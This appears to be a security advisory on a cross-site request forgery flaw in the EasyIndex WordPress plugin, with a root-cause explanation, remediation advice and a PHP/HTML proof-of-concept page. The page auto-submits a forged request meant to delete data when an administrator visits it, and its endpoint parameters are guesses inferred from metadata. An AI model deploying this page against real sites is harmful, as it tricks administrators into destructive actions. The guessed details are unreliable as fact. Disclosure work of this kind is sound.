Atomic Edge analysis of CVE-2025-62117 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the EasyIndex WordPress plugin, affecting versions up to and including 1.1.1704. The vulnerability stems from missing or incorrect nonce validation on a plugin function, allowing attackers to trick an administrator into performing an unauthorized action.
Atomic Edge research infers the root cause is a missing `check_admin_referer()` or `wp_verify_nonce()` call on a function hooked into the WordPress admin interface. The CWE-352 classification and description confirm the absence of a CSRF token (nonce) validation mechanism. Without analyzing the source code, we conclude a plugin function handling administrative actions lacks this security check.
Exploitation requires an attacker to craft a malicious link or HTML page that submits a forged HTTP request to a vulnerable plugin endpoint. The attacker must lure a logged-in administrator to interact with this malicious content. Based on WordPress plugin patterns, the likely endpoint is `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to an EasyIndex AJAX handler, such as `easyindex_action`. The forged request would contain parameters to trigger the unauthorized action, like deleting an index or changing settings.
Remediation requires adding proper nonce verification to the vulnerable function. The plugin developer must implement a call to `check_admin_referer()` or `wp_verify_nonce()` for any state-changing administrative action. This validation ensures the request originates from the intended user session. The fix should also include a capability check, such as `current_user_can(‘manage_options’)`, to enforce proper authorization.
The impact of successful exploitation is limited integrity loss. An attacker can induce an administrator to perform an unintended action, such as modifying plugin settings or deleting data. The CVSS vector indicates no confidentiality or availability impact. The attack requires user interaction and cannot directly lead to privilege escalation or remote code execution.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62117 - EasyIndex <= 1.1.1704 - Cross-Site Request Forgery
<?php
// Proof of Concept for CSRF in EasyIndex plugin.
// This script generates an HTML page that forges a POST request to the WordPress AJAX endpoint.
// Assumptions: The vulnerable endpoint is /wp-admin/admin-ajax.php.
// The vulnerable AJAX action parameter is inferred as 'easyindex_action' based on plugin slug.
// The specific malicious parameter is assumed to be 'delete_index' with a value of '1'.
// An attacker would host this file and trick a logged-in administrator into visiting it.
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CONFIGURE THIS
$action = 'easyindex_action'; // Inferred AJAX action hook
$malicious_param = 'delete_index';
$malicious_value = '1';
?>
<!DOCTYPE html>
<html>
<head>
<title>Atomic Edge PoC - CVE-2025-62117</title>
</head>
<body>
<h2>CSRF Proof of Concept</h2>
<p>This page automatically submits a forged request to the vulnerable EasyIndex endpoint.</p>
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<input type="hidden" name="action" value="<?php echo htmlspecialchars($action); ?>">
<input type="hidden" name="<?php echo htmlspecialchars($malicious_param); ?>" value="<?php echo htmlspecialchars($malicious_value); ?>">
<input type="submit" value="Submit (if auto-submit fails)">
</form>
<script>
// Auto-submit the form to simulate a single click by the victim
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
